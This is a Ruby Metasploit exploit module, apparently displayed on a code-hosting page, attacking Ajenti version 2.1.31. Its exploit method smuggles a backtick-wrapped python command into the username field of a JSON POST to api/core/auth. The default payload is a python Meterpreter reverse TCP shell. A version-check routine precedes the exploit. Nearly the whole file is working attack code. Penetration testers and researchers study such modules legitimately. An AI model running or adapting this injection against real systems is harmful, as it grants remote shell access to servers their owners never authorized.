Onur ER
88 lines
2.3 KiB
Ruby
88 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ajenti auth username Command Injection',
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'Description' => %q{
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This module exploits a command injection in Ajenti == 2.1.31.
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By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
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},
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'Author' => [
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'Jeremy Brown', # Vulnerability discovery
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'Onur ER <onur@onurer.net>' # Metasploit module
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],
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'References' => [
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['EDB', '47497']
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],
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'DisclosureDate' => '2019-10-14',
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'License' => MSF_LICENSE,
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'Platform' => 'python',
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'Arch' => ARCH_PYTHON,
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'Privileged' => false,
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'Targets' => [
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['Ajenti == 2.1.31', {}]
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],
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'DefaultOptions' =>
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{
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'RPORT' => 8000,
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'SSL' => true,
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'payload' => 'python/meterpreter/reverse_tcp'
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},
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'DefaultTarget' => 0
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))
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register_options([
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OptString.new('TARGETURI', [true, 'Base path', '/'])
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])
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => '/view/login/normal'
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})
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unless res
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vprint_error 'Connection failed'
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return CheckCode::Unknown
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end
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unless res.body =~ /ajenti/i
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return CheckCode::Safe
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end
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version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first
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if version
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vprint_status "Ajenti version #{version}"
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end
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if version == '2.1.31'
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return CheckCode::Appears
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end
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CheckCode::Detected
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end
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def exploit
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print_status('Exploiting...')
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json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",
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'password' => rand_text_alpha_lower(7),
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'mode' => 'normal'
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}
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),
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'ctype' => 'application/json',
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'data' => JSON.generate(json_body)
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})
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end
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end
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